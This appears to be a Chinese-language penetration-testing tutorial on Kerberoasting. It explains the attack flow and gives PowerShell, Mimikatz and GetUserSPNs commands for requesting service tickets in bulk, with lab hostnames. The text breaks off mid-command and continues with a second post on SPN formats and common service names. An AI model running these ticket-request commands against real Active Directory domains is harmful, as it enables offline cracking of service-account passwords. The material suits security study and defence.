一、概述

        黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

 

二、Kerberoasting攻击流程

    1. 发现服务主体名称(SPN)
    2. 请求服务票据
    3. 导出服务票据
    4. 破解服务票据
    5. 重写服务票据&RAM注入

 

三、请求服务票据

    1. Powershell

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

批量请求所有的SPN:

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } 

 

    2. Mimikatz

mimikatz.exe "kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

 

    3. GetUserSPNs

python GetUserSPNs.py -request pentestl
? Windows ? ? SPN ? ? AD ?      2019-11-17

一、SPN定义

        服务主体名称(Service Principal Names)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。SPN分为两种:

        (1)机器账户(Computers)注册:服务权限通常是Local System或者Network Service

        (2)域用户账户(Users)注册:注册在一个域用户权限下


二、SPN格式

    1. 域内常见的SPN实例

    * MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
    * ExchangeMDB/adsmsEXCAS01.adsecurity.org
    * TERMSERV/adsmsEXCAS01.adsecurity.org
    * WSMAN/adsmsEXCAS01.adsecurity.org

    * ……

    2. 常见的服务主体名称和对应的服务

    * AcronisAgent:针对Acronis备份和数据恢复软件
    * Afpserver:Apple归档协议
    * AgpmServer:Microsoft高级策略管理(AGPM)
    * ExchangeAB:Exchange通讯簿服务
    * ExchangeRFR:交换通讯簿服务
    * ExchangeMDB:RPC客户端访问服务器角色
    * MSSQLSvc:Microsoft SQL Server
    * MSOMHSvc:Microsoft 系统中心运营经理管理服务器
    * MSOMSdkSvc:Microsoft System Center Operations Manager 管理服务器
    * MSServerCluster:Windows集群服务器
    * MSServerClusterMgmtAPI:集群的API需要此SPN才能使用Kerberos向服务器进行验证
    * MSClusterVirtualServer:Windows 集群服务器
    * TERMSRV:Microsoft 远程桌面协议服务
    * WSMAN